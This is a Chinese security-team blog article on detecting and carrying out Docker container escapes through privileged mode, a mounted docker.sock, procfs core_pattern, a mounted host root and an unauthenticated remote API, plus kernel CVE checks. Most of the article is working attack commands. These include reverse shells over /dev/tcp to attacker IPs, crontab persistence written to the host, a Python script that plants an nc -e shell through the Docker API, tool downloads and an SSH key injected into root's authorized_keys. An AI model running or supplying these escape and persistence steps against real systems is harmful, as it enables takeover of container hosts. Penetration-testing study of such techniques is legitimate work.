原创 Cupid 千寻安服
微信号 scaf_0123
功能介绍 来自于一个专业滴安全服务团队的技术和例行日常分享。
__发表于
收录于合集
0x00背景&介绍
曾经多次getshell,在看到.dockerenv出现在根目录下,心都凉了半截。但是还是要尽力去尝试,万一逃逸出来了呢?万一不用逃逸Docker就通内网?下面简单总结下实战下如何检测和利用存在Docker逃逸。
读一大堆文章和云安全的书籍,大致把逃逸的类型分为以下三类:
-
不安全的配置
-
相关程序漏洞
-
内核漏洞
然后下面主要列举一些真正能用上的,检测是否能逃逸的,这儿解释一下能够造成docker逃逸的漏洞很多,比如我也复现过docker- runC逃逸(CVE-2019-5736),这个洞最后利用成功不仅需要docker的使用者使用docker exec进入容器,而且写入的runc还会使得原来的docker-runc出现异常,这种漏洞不建议在实战中使用。
0x01判断是否为容器环境
判断的方法有很多种,这儿只列举一些比较快速识别的。
ls -al /
ps -aux 如果使用ps -aux一页就看完了那多半是docker了,因为docker本身是一个删减版的服务器,很多进程不需要启动的他就没有,因而ps -aux看着就很少。whereis 常用的命令比如如下(docker不需要那么多linux管理命令,所以一查whereis,这常用命令压根没有大概率docker):mount 这个做参考,因为我在物理服务器上执行也有overlay这一项,但默认不会显示在第一行,所以显示在第一行大概率docker:cat /proc/1/cgroup cgroup是实现docker资源控制的组件,因而你查看这个东西看到的全是docker,以下为docker:物理机执行:还有很多检测方法,比如ip a看到的ip是172.17开头的,env中有k8s信息,df-h也有k8s信息等,就不一一再列出了。
0x02逃逸尝试-不安全的配置
以下命令参考自TeamsSix的文章。详情看文末参考链接。
特权容器启动时,容器本身具有很高的权限。
怎样才是特权模式启动的?
如果容器使用docker run --privileged启动时候,就会允许容器内的root拥有外部root机的权限,Docker容器就被允许访问主机上的所有设备,因而可以执行mount命令进行挂载。
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
如果返回 Not privileged mode 则说明当前不是特权模式
还有关于K8S的判断:
在pod的yaml配置中添加如下配置时,也会以特权模式启动容器:
securityContext:
privileged: true
下面用我的ubuntu为例:
启了一个tomcat任意文件上传环境,然后传个冰蝎:
然后冰蝎连上去,确实是docker环境:查看磁盘文件fdisk -l:可以检测一下,确实是特权模式:那么可以直接将宿主机的/dev/sda1目录挂载到容器内的目录中。
先创建test目录,然后mount直接挂载:可以看到已经获取到宿主机的目录,接下来可以直接写定时任务反弹shell脚本:
touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
echo "#!/bin/bash" >> /test/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.43.133/8888 0>&1" >>
/test/tmp/test.sh
或者
echo "bash -i >& /dev/tcp/192.168.43.133/8888 0>&1" >> /test/tmp/test.sh
或者
sed -i '$a/bin/bash -i >& bash -i >& /dev/tcp/192.168.32.128/13122 0>&1'
/test/tmp/test.sh
sed -i '$a/bin/bash -i >& bash -i >& /dev/tcp/192.168.227.46/13122 0>&1'
/test/tmp/test.sh
cat /test/tmp/test.sh
写入定时任务:
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab
然后测试发现冰蝎的命令行有些小问题,弹个shell到kali上继续操作:
** 2、挂载 Docker Socket**
Docker Socket 用来与守护进程通信即查询信息或者下发命令。docker cli默认通过unix套接字与容器进行通信以及下发指令,当挂载了/var/run/docker.sock文件时,就可以对这个unix套接字文件下发docker指令,就像在node机器上操纵docker一样。
** a.检测**
执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
如果返回 Docker Socket is not mounted. 则说明没有挂载 ** b.漏洞复现**
不是很想复现这个洞,太套娃了,挂载了docker.sock后,docker里面再操作docker。
启动环境(其中-v -v /var/run/docker.sock:/var/run/docker.sock就是挂载docker.sock):
docker run -itd --name cent_with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock centos:7
检测一下是否挂载:
./cdk_linux_amd64 run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"
命令执行成功:
漏洞原理:从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。这个文件是负责进程奔溃时内存数据转储的,如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。 ** **
** a.检测**
执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
如果返回 Procfs is not mounted. 则说明没有挂载 ** b.漏洞复现**
实战中可以直接用cdk工具进行利用,方便省时。
从容器中下载工具的话可以简单判断下当前环境支持的脚本类型,例如默认ubuntu支持perl:
use LWP::Simple;
getstore("http://192.168.174.1:1234/cdk","cdk");
当然一般我们都打进容器了,肯定得有个webshell啥的直接用这些工具上传也可以。
本地挂载profs命令启动docker:
docker run -v /proc:/host_proc --rm -it ubuntu bash
判断一下:
然后在自己的攻击VPS上启动监听,把CDK搞到docker里面执行如下命令:
chmod +x cdk_linux_amd64
./cdk_linux_amd64 run mount-procfs /host_proc "bash -i >& /dev/tcp/vpsip/7777
0>&1"
收到反弹回来的宿主机的shell: ** 4、挂载宿主机根目录** ** **
** a.检测**
执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."
如果返回 Root directory is not mounted. 则说明没有挂载利用思路:根目录都被挂载了。直接计划任务,ssh写就完事了,就不复现了。 ** **
** 5、Docker remote api 未授权访问** ** **
** a.检测**
执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问
IP=hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}'
&& timeout 3 bash
-c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is
Enabled." || echo "Docker Remote API is Closed."
如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问 ** b.漏洞复现**
b1:写入计划任务反弹shell
docker -H tcp://192.168.43.145 ps -a
如果存在就会看到目标的docker容器列表:
远程查看存在的镜像:
docker -H tcp://192.168.43.145 images
docker H tcp://...:2375 run -it-v /:/mnt imagelD /bin/bash
shell脚本:
import docker
client = docker.DockerClient(base_url='http://192.168.43.145:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * *
/usr/bin/nc 192.168.43.133 8888 -e /bin/sh' >> /tmp/etc/crontabs/root" ''',
remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
在kali上直接执行脚本,等一段时间shell就回来了:
这儿原理(其实就是解释python脚本编写思路:Docker随意启动一个容器(这里是远程连接让目标机器启动,不是自己本地启动容器),并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。)
下面是打ichunqiu的靶场中遇到的,直接写ssh如下:
docker -H tpc://47.92.6.145:2375 images
docker -H tcp://47.92.6.145:2375 run -it -v /:/mnt --entrypoiont /bin/bash
ubuntu:18.04
ssh-keygen -t rsa (在自己攻击机上生成)
cd /mnt/root/.ssh
echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDWn5r11i1qX75uejYftnvxuo9VD+i8Y/V1XSxqm4z3zgCRdvO1lyaE+sY4eR6UN8MU5MpkqhT6duQ7saKDsSVYuhRWrbl7ZISRNzDZ728Q6QgAjysOlmcMbNWwS6V1ibSM8qGozQoSRXmbdzvA4J8j+UqiQ0DkBOUjyhvc2dUqEeSX7hAW8fyeTsMDmzySRWsIg7SRNW1Yp3PZsogeqpKVohoa8BWWfay4VXWBZgU6z9Nd21NIqGI32WkYw7Df/RdGXtUKDPyD8hRlpi5wXHjUR/z7ogvCR2XBu8VTKAvesmf/mR1psBUiaOWYyYgTs4hXbDok5um3nrWnUgt54FB9
root@VM-12-8-centos" >>authorized_keys
然后本地直接使用id_rsa直接登录上宿主机服务器。
0x03相关程序漏洞
在teamsSix文章中提到过「相关程序漏洞」这种逃逸方法需要根据目标 Docker 的版本去判断。
目前在容器内部还无法判断Docker版本(不知道咋判断,知道的大佬可以教教),因而并不适用于实战,此处不再列出。
0x04内核漏洞
以下漏洞可以使用如下脚本进行检测:
git clone https://github.com/teamssix/container-escape-check.git
1、CVE-2016-5195 DirtyCow 逃逸
执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。
2、CVE-2020-14386
执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。
3、CVE-2022-0847 DirtyPipe 逃逸
执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。
0x05从CDK工具理解逃逸
这一章纯属个人爱好,大家不感兴趣可直接浏览结束。
以下以cdk中的procfs的代码利用为例:
首先是我们利用的一行命令:./cdk_linux_amd64 run mount-procfs /host_proc "bash -i >& /dev/tcp/vpsip/7777 0>&1"
可以看到使用的是mount-procfs模块如下:
获取其在宿主机里的绝对路径的函数:导致进程崩溃的函数:导致崩溃的原因:空指针赋值不会崩溃,输出空指针会导致崩溃。这儿只需要让其产生段错误,也就是对空指针赋值就会出现段错误。
拼接workdir,并且写入core_pattern中,并以管道符|开头的路径:运行段错误程序:简单总结一下编写这个procfs逃逸脚本的思路:
1.在容器中先获取容器中的路径在宿主机中的绝对路径:
cat /proc/self/mounts获取到workdir
2.然后是书写会导致系统出现段错误的代码:给空指针赋值
3.将反弹shell的命令写入一个文件并拼接上第一步获取的workdir。
4.将这个恶意的绝对路径的文件前面拼接上管道符|然后送入 /proc/sys/kernel/core_pattern文件中。
5.运行那段导致系统出现段错误的程序,这个时候负责进程崩溃的core_pattern就执行了管道符|后面我们的在宿主机绝对路径下的恶意反弹shell的文件。
0x06收尾
总结一下,打入docker不要怕,先挨个儿检测一下,这个不行那个不行,嗨~,建议换个外网入口点。
参考文章:
https://zone.huoxian.cn/d/990/2
https://zhuanlan.zhihu.com/p/473178565
**END
** 监制:船长、铁子 策划:AST 文案:Cupid 美工:青柠
预览时标签不可点
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看